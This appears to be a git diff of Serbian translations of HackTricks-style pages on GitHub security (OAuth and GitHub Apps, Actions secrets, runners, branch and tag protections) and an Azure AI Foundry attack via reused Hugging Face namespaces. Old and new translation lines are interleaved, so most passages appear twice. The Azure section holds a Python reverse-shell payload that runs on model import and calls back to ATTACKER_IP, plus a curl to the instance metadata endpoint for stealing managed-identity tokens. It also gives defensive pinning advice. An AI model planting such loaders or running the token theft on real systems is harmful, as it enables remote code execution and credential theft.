Oauth applications mogu tražiti dozvole **za pristup delu vaših github informacija ili da vas impersoniraju** kako bi izvršili neke akcije. Uobičajen primer ove funkcionalnosti je **login with github dugme** koje možete pronaći na nekim platformama.
|
||||
|
||||
- Možete **create** vaše **Oauth applications** u [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Možete videti sve **Oauth applications that has access to your account** u [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Možete videti **scopes that Oauth Apps can ask for** u [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Možete videti third party access aplikacija u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Možete **kreirati** sopstvene **Oauth applications** na [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- Možete videti sve **Oauth applications koje imaju pristup vašem nalogu** na [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- Možete videti **scopes koje Oauth Apps mogu tražiti** na [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Možete videti third party pristup aplikacijama u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Neke **preporuke za bezbednost**:
|
||||
Neke **bezbednosne preporuke**:
|
||||
|
||||
- An **OAuth App** bi uvek trebalo da **act as the authenticated GitHub user across all of GitHub** (na primer, kada obezbeđuje korisnička obaveštenja) i sa pristupom samo specificiranim scopes..
|
||||
- An OAuth App može biti korišćen kao identity provider omogućavajući "Login with GitHub" za autentifikovanog korisnika.
|
||||
- **Don't** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **single repository**. Sa `repo` OAuth scope-om, OAuth Apps mogu **act on _all**_ of the authenticated user's repositories.
|
||||
- **Don't** pravite OAuth App da predstavlja aplikaciju za vaš **team or company**. OAuth Apps autentifikuju kao **single user**, tako da ako jedna osoba kreira OAuth App za kompaniju i zatim napusti kompaniju, niko drugi neće imati pristup.
|
||||
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- An **OAuth App** bi uvek trebao **delovati kao autentifikovani GitHub user kroz ceo GitHub** (na primer, pri slanju user notifikacija) i imati pristup samo specificiranim scopes..
|
||||
- An OAuth App može biti korišćen kao identity provider omogućavanjem "Login with GitHub" za autentifikovanog korisnika.
|
||||
- **Ne** pravite **OAuth App** ako želite da vaša aplikacija deluje samo na **jednom repository-ju**. Sa `repo` OAuth scope-om, OAuth Apps mogu **delovati na _svim_**\_\*\* repositorijima autentifikovanog korisnika\*\*.
|
||||
- **Ne** pravite OAuth App da deluje kao aplikacija za vaš **tim ili kompaniju**. OAuth Apps se autentifikuju kao **pojedinačni korisnik**, tako da ako jedna osoba kreira OAuth App za kompaniju, i potom napusti kompaniju, niko drugi neće imati pristup njemu.
|
||||
- **Više** u [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications mogu tražiti dozvole da **access your github information or impersonate you** kako bi izvršile specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima će app imati pristup.
|
||||
Github applications mogu tražiti dozvole da **pristupe vašim github informacijama ili da vas impersoniraju** kako bi izvršili specifične akcije nad specifičnim resursima. U Github Apps morate specificirati repositories kojima app će imati pristup.
|
||||
|
||||
- Da biste instalirali GitHub App, morate biti **organisation owner or have admin permissions** u repository.
|
||||
- GitHub App treba da **connect to a personal account or an organisation**.
|
||||
- Možete kreirati sopstvenu Github application u [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Možete videti sve **Github applications that has access to your account** u [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ovo su **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od permissions App će moći da pristupi nekima od njih
|
||||
- Možete videti instalirane apps u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Da instalirate GitHub App, morate biti **organisation owner ili imati admin dozvole** u repository-ju.
|
||||
- GitHub App bi trebalo da **bude povezan sa personal account ili organizacijom**.
|
||||
- Možete kreirati sopstvenu Github application na [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Možete videti sve **Github applications koje imaju pristup vašem nalogu** na [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Ovo su **API endpoints za Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od dozvola Aplikacije, biće u mogućnosti da pristupe nekima od njih
|
||||
- Možete videti instalirane aplikacije u jednoj **organization** na _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Neke preporuke za bezbednost:
|
||||
Neke bezbednosne preporuke:
|
||||
|
||||
- GitHub App bi trebalo da **take actions independent of a user** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste učinili user-to-server access tokens sigurnijim, možete koristiti access tokens koji ističu nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Uverite se da se GitHub App integriše sa **specific repositories**.
|
||||
- GitHub App treba da **connect to a personal account or an organisation**.
|
||||
- GitHub App bi trebao **preduzimati akcije nezavisno od korisnika** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali user-to-server access tokene bezbednijim, možete koristiti access tokene koji će isteći nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "Refreshing user-to-server access tokens".
|
||||
- Uverite se da se GitHub App integriše sa **specifičnim repositories**.
|
||||
- GitHub App bi trebalo da **bude povezan sa personal account ili organizacijom**.
|
||||
- Ne očekujte da GitHub App zna i radi sve što korisnik može.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da loguje korisnike _and_ radi druge stvari.
|
||||
- Ne pravite GitHub App ako želite _only_ da delujete kao GitHub user i radite sve što taj user može.
|
||||
- Ako koristite vašu app sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write permission na repository koji sadrži workflow fajl. Za više informacija, pogledajte "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- **Ne koristite GitHub App ako vam je potreban samo "Login with GitHub" servis**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ uradi druge stvari.
|
||||
- Ne pravite GitHub App ako _samo_ želite da delujete kao GitHub user i radite sve što taj user može.
|
||||
- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write dozvolu na repository-ju koji sadrži workflow fajl. Za više informacija, pogledajte "Understanding scopes for OAuth apps".
|
||||
- **Više** u [ovde](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Ovo **nije način za autentifikaciju u github**, ali jedna **malicious** Github Action može dobiti **unauthorised access to github** i **u zavisnosti** od **privileges** dodeljenih Action mogu biti izvedeni različiti **attacks**. Vidi dole za više informacija.
|
||||
Ovo **nije način za autentifikaciju u github**, ali **maliciozna** Github Action može dobiti **neautorizovan pristup github-u** i **u zavisnosti** od **privilegija** datih Action-u, može biti izvršeno nekoliko **različitih napada**. Pogledajte ispod za više informacija.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions omogućavaju automatizaciju **execution of code when an event happen**. Obično se izvršava kod koji je **nekačim načinom vezan za kod repository** (možda build-a docker container ili proverava da li PR ne sadrži secrets).
|
||||
Git actions omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično se izvršeni kod nekako odnosi na kod iz repository-ja (na primer, pravljenje docker containera ili provera da PR ne sadrži tajne).
|
||||
|
||||
### Configuration
|
||||
### Konfiguracija
|
||||
|
||||
U _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **configuration of the github actions** za organization.
|
||||
U _https://github.com/organizations/\<org_name>/settings/actions_ moguće je proveriti **konfiguraciju github actions** za organizaciju.
|
||||
|
||||
Moguće je zabraniti korišćenje github actions potpuno, **allow all github actions**, ili dozvoliti samo određene actions.
|
||||
Moguće je potpuno zabraniti korišćenje github actions, **dozvoliti sve github actions**, ili dozvoliti samo određene actions.
|
||||
|
||||
Takođe je moguće konfigurisati **who needs approval to run a Github Action** i **permissions of the GITHUB_TOKEN** koje Github Action ima kada se izvrši.
|
||||
Takođe je moguće konfigurisati **ko treba odobrenje da pokrene Github Action** i **dozvole GITHUB_TOKEN-a** Github Action-a kada se pokrene.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action obično treba neku vrstu secrets da bi komunicirao sa github ili third party aplikacijama. Da biste **izbegli stavljanje u clear-text** u repo, github omogućava da ih stavite kao **Secrets**.
|
||||
Github Action obično treba neki vid secrets da bi komunicirao sa github-om ili third party aplikacijama. Da biste **izbegli stavljanje u plain-text** u repo, github dozvoljava da ih stavite kao **Secrets**.
|
||||
|
||||
Ovi secrets se mogu konfigurisati **za repo or for all the organization**. Zatim, da bi **Action mogao da pristupi secret-u** potrebno je da ga deklarišete kao:
|
||||
Ovi secrets se mogu konfigurisati **za repo ili za celu organizaciju**. Zatim, da bi **Action imao pristup secret-u** potrebno je da ga deklarišete ovako:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -168,91 +168,91 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Secrets **mogu biti pristupljeni samo iz Github Actions** koje su ih deklarisale.
|
||||
> Secrets **su dostupne samo iz Github Actions** koje su ih deklarisale.
|
||||
|
||||
> Kada su konfigurisane u repo-u ili u okviru organizacije, **korisnici github-a više neće moći da im pristupe**, moći će samo da ih **promene**.
|
||||
> Kada su konfigurisane u repo ili u organizations **korisnici github-a neće moći ponovo da im pristupe**, moći će samo da **ih promene**.
|
||||
|
||||
Dakle, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete da pristupite samo secrets deklarisanim za tu Action).
|
||||
Stoga, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete pristupiti samo secrets deklarisanim za tu Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github omogućava kreiranje **environments** gde možete sačuvati **secrets**. Zatim, možete dati github action pristup secrets unutar environment-a sa nečim poput:
|
||||
Github omogućava kreiranje **environments** u kojima možete sačuvati **secrets**. Zatim možete dati github action pristup secrets unutar environment-a pomoću nečega poput:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Možete konfigurirati okruženje da bude **accessed** by **all branches** (default), **only protected** branches ili **specify** which branches mogu da mu pristupe.\
|
||||
Možete konfigurisati okruženje da mu se pristupa **sa svih grana** (zadato), **samo sa zaštićenih** grana ili da **odredite** koje grane mogu pristupiti njemu.\
|
||||
Dodatno, zaštite okruženja uključuju:
|
||||
- **Required reviewers**: zadržava gate jobs koji ciljaju okruženje dok se ne odobri. Omogućite **Prevent self-review** da biste primenili princip četiri oka i na samo odobrenje.
|
||||
- **Deployment branches and tags**: ograničava koje grane/tagovi mogu deploy-ovati u okruženje. Preporučljivo je izabrati specifične grane/tagove i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" se odnosi na klasične branch protections i možda se neće ponašati očekivano ako koristite rulesets.
|
||||
- **Wait timer**: odlaže deploy-e za konfigurisani period.
|
||||
- **Required reviewers**: blokira job-ove koji ciljaju okruženje dok se ne odobre. Omogućite **Prevent self-review** da biste primenili pravi princip četiri oka pri samom odobrenju.
|
||||
- **Deployment branches and tags**: ograničite koje grane/tags mogu deploy-ovati u okruženje. Preporučljivo je izabrati konkretne grane/tags i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" odnosi se na klasične branch protections i možda neće raditi kako se očekuje ako koristite rulesets.
|
||||
- **Wait timer**: odložite deploy-ove za konfigurabilni period.
|
||||
|
||||
Takođe se može podesiti **number of required reviews** pre nego što se **execute** **an action** koristeći **environment**, ili **wait** neko **time** pre nego što se dozvole deploy-evi da nastave.
|
||||
Takođe, moguće je podesiti **broj potrebnih review-eva** pre nego što se **izvrši** **action** koristeći **okruženje**, ili **sačekati** određeno **vreme** pre nego što se dozvole deploy-evi da nastave.
|
||||
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action može biti **executed inside the github environment** ili može biti izvršen u **third party infrastructure** koju konfiguriše korisnik.
|
||||
Github Action može biti **izvršen unutar github okruženja** ili može biti izvršen u **infrastrukturi treće strane** koju je korisnik konfigurisao.
|
||||
|
||||
Neke organizacije dozvoljavaju pokretanje Github Actions u **third party infrastructure** jer je to često **cheaper**.
|
||||
Neke organizacije dozvoljavaju pokretanje Github Actions u **infrastrukturi treće strane** jer je to često **jeftinije**.
|
||||
|
||||
Možete **list the self-hosted runners** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Možete **izlistati self-hosted runners** organizacije na _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
Način da se pronađe koje se **Github Actions are being executed in non-github infrastructure** je da pretražite za `runs-on: self-hosted` u Github Action konfiguracionom yaml-u.
|
||||
Način da se pronađe koje se **Github Actions izvršavaju van github infrastrukture** je pretraga za `runs-on: self-hosted` u konfiguracionom yaml-u Github Action-a.
|
||||
|
||||
Nije moguće da se Github Action organizacije izvršava unutar self hosted mašine druge organizacije zato što se pri konfiguraciji Runner-a **a unique token is generated for the Runner** koji određuje kojoj organizaciji runner pripada.
|
||||
Nije moguće pokrenuti Github Action organizacije unutar self-hosted mašine druge organizacije jer se prilikom konfiguracije Runner-a generiše **jedinstveni token** koji zna kojoj organizaciji runner pripada.
|
||||
|
||||
Ako je custom **Github Runner configured in a machine inside AWS or GCP**, na primer, Action **could have access to the metadata endpoint** i **steal the token of the service account** sa kojim mašina radi.
|
||||
Ako je custom **Github Runner konfigurisana na mašini unutar AWS ili GCP**, na primer, Action **može imati pristup metadata endpoint-u** i **ukrasti token servisnog naloga** pod kojim mašina radi.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Ako su sve akcije (ili jedna maliciozna akcija) dozvoljene, korisnik bi mogao upotrebiti **Github action** koja je **malicious** i kompromitovati **container** u kojem se izvršava.
|
||||
Ako su sve actions (ili neki maliciozni action) dozvoljeni, korisnik bi mogao iskoristiti **Github action** koji je **maliciozan** i koji će **kompromitovati** **container** u kojem se izvršava.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **malicious Github Action** run može biti **abused** od strane napadača da:
|
||||
> Maliciozan run Github Action-a može biti zloupotrebljen od strane napadača da:
|
||||
>
|
||||
> - **Steal all the secrets** kojima Action ima pristup
|
||||
> - **Move laterally** ako se Action izvršava unutar **third party infrastructure** gde se SA token koji se koristi za pokretanje mašine može dohvatiti (verovatno preko metadata service)
|
||||
> - **Abuse the token** koji koristi **workflow** da **steal the code of the repo** u kojem se Action izvršava ili čak **modify it**.
|
||||
> - **Ukrade sve secrets** kojima Action ima pristup
|
||||
> - **Krene lateralno** ako se Action izvršava unutar **infrastrukture treće strane** gde se SA token koji pokreće mašinu može dohvatiti (verovatno preko metadata servisa)
|
||||
> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** u kojem se Action izvršava ili čak **izmeni taj kod**.
|
||||
|
||||
## Branch Protections
|
||||
## Zaštita grana
|
||||
|
||||
Branch protections su dizajnirane da **not give complete control of a repository** korisnicima. Cilj je da se **put several protection methods before being able to write code inside some branch**.
|
||||
Branch protections su dizajnirane da **ne daju potpuni kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti više nivoa zaštite pre nego što će neko moći da upiše kod u određenu granu**.
|
||||
|
||||
The **branch protections of a repository** možete pronaći na _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
Zaštite grana repozitorijuma se nalaze na _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Nije **possible to set a branch protection at organization level**. Dakle, sve zaštite moraju biti deklarisane u svakom repo-u.
|
||||
> Nije moguće postaviti branch protection na nivou organizacije. Dakle, sve moraju biti deklarisane u svakom repo-u.
|
||||
|
||||
Razne zaštite se mogu primeniti na granu (npr. master):
|
||||
Različite zaštite mogu biti primenjene na granu (npr. master):
|
||||
|
||||
- Možete **require a PR before merging** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti prisutne i druge zaštite:
|
||||
- **Require a number of approvals**. Veoma je često zahtevati 1 ili 2 osobe da odobre PR kako bi se sprečilo da jedna osoba direktno merge-uje kod.
|
||||
- **Dismiss approvals when new commits are pushed**. Ako nije omogućeno, korisnik može odobriti legitiman kod, a zatim dodati maliciozan kod i merge-ovati ga.
|
||||
- **Require approval of the most recent reviewable push**. Osigurava da svaki novi commit posle odobrenja (uključujući push-ove drugih saradnika) ponovo pokreće review tako da napadač ne može push-ovati izmene posle odobrenja i merge-ovati.
|
||||
- **Require reviews from Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "random" korisnici ne mogu odobriti).
|
||||
- **Restrict who can dismiss pull request reviews.** Možete specificirati osobe ili timove koji su dozvoljeni da dismiss-uju pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. Ovi korisnici će moći da zaobiđu prethodna ograničenja.
|
||||
- **Require status checks to pass before merging.** Neki check-ovi moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava SAST rezultate). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app može spoof-ovati check preko Checks API, a mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Svi komentari na kod moraju biti rešeni pre nego što se PR može merge-ovati.
|
||||
- **Require signed commits**. Commits moraju biti potpisani.
|
||||
- **Require linear history.** Sprečava push-ovanje merge commit-ova na grane koje se poklapaju.
|
||||
- **Include administrators**. Ako ovo nije postavljeno, administratori mogu zaobići ograničenja.
|
||||
- **Restrict who can push to matching branches**. Ograničava ko može poslati PR.
|
||||
- Možete **zahtevati PR pre merge-a** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti aktivne i druge zaštite:
|
||||
- **Zahtevati broj odobrenja**. Vrlo je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR kako pojedinačni korisnik ne bi mogao direktno da merge-uje kod.
|
||||
- **Odbaciti odobrenja kada se potisnu novi commit-ovi**. Ako se ovo ne uključi, korisnik može odobriti legitiman kod, a zatim dodati maliciozni kod i merge-ovati ga.
|
||||
- **Zahtevati odobrenje najnovijeg reviewable push-a**. Osigurava da svaki novi commit nakon odobrenja (uključujući push-eve drugih saradnika) ponovo pokreće review tako da napadač ne može da doda promene posle odobrenja i merge-uje.
|
||||
- **Zahtevati odobrenja od Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "nasumični" korisnici ne mogu odobriti).
|
||||
- **Ograničiti ko može odbaciti pull request review-e.** Možete specificirati ljude ili timove koji imaju dozvolu da odbace review-e.
|
||||
- **Dozvoliti određenim akterima da zaobiđu zahteve za pull request-om.** Ovi korisnici će moći da zaobiđu prethodna ograničenja.
|
||||
- **Zahtevati da status checks prođu pre merge-a.** Neki checks moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava rezultate SAST-a). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app bi mogao falsifikovati check preko Checks API, i mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
|
||||
- **Zahtevati rešavanje konverzacija pre merge-a**. Svi komentari na kod moraju biti rešeni pre nego što PR može biti merge-ovan.
|
||||
- **Zahtevati signed commits**. Commit-ovi moraju biti potpisani.
|
||||
- **Zahtevati linear history.** Sprečava da se merge commits šalju u matching grane.
|
||||
- **Include administrators.** Ako ovo nije uključeno, administratori mogu zaobići restrikcije.
|
||||
- **Restrict who can push to matching branches.** Ograničite ko može poslati PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repos might be protected avoiding you to pushing code to master** na primer, da biste kompromitovali CI/CD pipeline.
|
||||
> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repo-i mogu biti zaštićeni i sprečiti vas da push-ujete kod u master**, na primer, kako biste kompromitovali CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
## Zaštita tag-ova
|
||||
|
||||
Tagovi (npr. latest, stable) su po defaultu mutable. Da biste primenili tok rada sa četiri oka na update tagova, zaštitite tagove i povežite zaštite kroz enviroments i grane:
|
||||
Tag-ovi (npr. latest, stable) su po defaultu mutabilni. Da biste primenili princip četiri oka pri ažuriranju tag-ova, zaštitite tag-ove i povežite zaštite kroz environment-e i grane:
|
||||
|
||||
1) Na pravilu za zaštitu tagova, omogućite **Require deployments to succeed** i zahtevajte uspešan deploy u zaštićeno okruženje (npr. prod).
|
||||
2) U ciljanom okruženju, ograničite **Deployment branches and tags** na release branch (npr. main) i opciono konfigurišite **Required reviewers** sa **Prevent self-review**.
|
||||
3) Na release grani, konfigurišite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
|
||||
1) Na pravilu za zaštitu taga, omogućite **Require deployments to succeed** i zahtevajte uspešan deployment u zaštićeno okruženje (npr. prod).
|
||||
2) U ciljnom okruženju, ograničite **Deployment branches and tags** na release granu (npr. main) i po želji konfigurišite **Required reviewers** sa **Prevent self-review**.
|
||||
3) Na release grani, podesite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
|
||||
|
||||
Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje releasove menjajući workflow YAML, jer su deployment gate-ovi sprovedeni van workflow-a.
|
||||
Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje release-ove izmjenom workflow YAML-a, jer su deployment gate-ovi sprovedeni izvan workflow-a.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,18 +1,18 @@
|
||||
# Azure - AI Foundry Post-Exploitation kroz Hugging Face Model Namespace Reuse
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenarij
|
||||
|
||||
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za postavljanje jednim klikom.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na legacy putanji.
|
||||
- Pipelines i katalogi koji povlače po imenu (bez commit pinovanja/integriteta) će rešiti na repozitorijume pod kontrolom napadača. Kada Azure postavi model, loader code se može izvršiti u okruženju endpointa i dodeliti RCE sa dozvolama tog endpointa.
|
||||
- Katalog modela Azure AI Foundry uključuje mnoge Hugging Face (HF) modele za raspoređivanje jednim klikom.
|
||||
- HF identifikatori modela su Author/ModelName. Ako je HF author/org obrisan, bilo ko može ponovo registrovati tog autora i objaviti model sa istim ModelName na nasleđenoj putanji.
|
||||
- Pipelines i katalozi koji povlače modele samo po imenu (bez commit pinning/integrity) će rezolvirati na repozitorijume koje kontroliše napadač. Kada Azure deploy-uje model, loader code može da se izvrši u okruženju endpointa, omogućavajući RCE sa permisijama tog endpointa.
|
||||
|
||||
Uobičajeni slučajevi preuzimanja HF:
|
||||
- Brisanje vlasništva: Stara putanja vraća 404 dok ne dođe do takeover-a.
|
||||
- Prelazak vlasništva: Stara putanja vraća 307 ka novom authoru dok stari author postoji. Ako je stari author kasnije obrisan i ponovo registrovan, redirect prestaje da radi i repo napadača se servira na legacy putanji.
|
||||
Uobičajeni HF takeover slučajevi:
|
||||
- Ownership deletion: Stara putanja vraća 404 dok ne dođe do takeover-a.
|
||||
- Ownership transfer: Stara putanja vraća 307 na novog autora dok stari autor postoji. Ako je stari autor kasnije obrisan i ponovo registrovan, redirect prestaje da važi i napadačev repozitorijum se servira na nasleđenoj putanji.
|
||||
|
||||
## Identifikovanje ponovo upotrebljivih namespace-a (HF)
|
||||
## Identifikovanje ponovo upotrebljivih namespace-ova (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/availab
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## End-to-end tok napada protiv Azure AI Foundry
|
||||
## Kompletan tok napada protiv Azure AI Foundry
|
||||
|
||||
1) U Model Catalog pronađite HF models čiji su originalni autori obrisani ili prebačeni (stari author uklonjen) na HF.
|
||||
2) Ponovo registrujte napuštenog autora na HF i ponovo kreirajte ModelName.
|
||||
3) Objavite maliciozni repo sa loader kodom koji se izvršava pri import ili zahteva trust_remote_code=True.
|
||||
4) Deploy-ujte legacy Author/ModelName iz Azure AI Foundry. Platforma povuče attacker repo; loader se izvršava unutar Azure endpoint container/VM, što rezultira RCE sa permisijama endpoint-a.
|
||||
1) U Model Catalog, pronađi HF modele čiji su originalni autori obrisani ili prebačeni (stari autor uklonjen) na HF.
|
||||
2) Ponovo registruj napuštenog autora na HF i ponovo kreiraj ModelName.
|
||||
3) Objavi zlonamerni repo sa loader kodom koji se izvršava pri importu ili zahteva trust_remote_code=True.
|
||||
4) Rasporedi nasleđeni Author/ModelName iz Azure AI Foundry. Platforma povuče repo napadača; loader se izvršava unutar Azure endpoint container/VM, rezultujući RCE sa dozvolama endpointa.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
Primer fragmenta payload-a koji se izvršava pri importu (samo za demonstraciju):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
@@ -45,36 +45,36 @@ subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Napomene
|
||||
- AI Foundry deployments koji integrišu HF tipično kloniraju i importuju repo module koje referencira model’s config (npr. auto_map), što može dovesti do izvršavanja koda. Za neke putanje je potrebno trust_remote_code=True.
|
||||
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte ga početnim foothold-om za pristup podacima i lateral movement unutar Azure.
|
||||
Beleške
|
||||
- AI Foundry implementacije koje integrišu HF obično kloniraju i importuju repo module koji se referenciraju u konfiguraciji modela (npr. auto_map), što može pokrenuti izvršavanje koda. Neki putevi zahtevaju trust_remote_code=True.
|
||||
- Pristup obično odgovara dozvolama managed identity/service principal endpointa. Smatrajte to početnim access foothold-om za pristup podacima i lateral movement unutar Azure.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Istražite environment variables i MSI endpoints da biste pronašli tokene:
|
||||
- Enumerate environment variables and MSI endpoints for tokens:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Proverite montirane skladišne lokacije, artefakte modela i dostupne Azure servise koristeći pribavljeni token.
|
||||
- Razmotrite postojanost ostavljanjem poisoned model artifacts ako platforma ponovo preuzima iz HF.
|
||||
- Proverite montirano skladište, model artifacts i dostupne Azure services koristeći pribavljeni token.
|
||||
- Razmotrite persistence ostavljanjem poisoned model artifacts ako platforma ponovo povuče iz HF.
|
||||
|
||||
## Smernice za odbranu za korisnike Azure AI Foundry
|
||||
## Odbrambene smernice za korisnike Azure AI Foundry
|
||||
|
||||
- Zaključajte modele po commit-u pri učitavanju iz HF:
|
||||
- Pin models by commit when loading from HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Preslikajte proverenih HF modela u pouzdan interni registry i deploy-ujte ih odatle.
|
||||
- Kontinuirano skenirajte codebase-ove i defaults/docstrings/notebooks u potrazi za hard-coded Author/ModelName koji su obrisani/prebačeni; ažurirajte ili pin-ujte.
|
||||
- Proverite postojanje autora i poreklo modela pre deploymenta.
|
||||
- Mirror proverene HF modele u pouzdan interni registry i deploy-ujte odatle.
|
||||
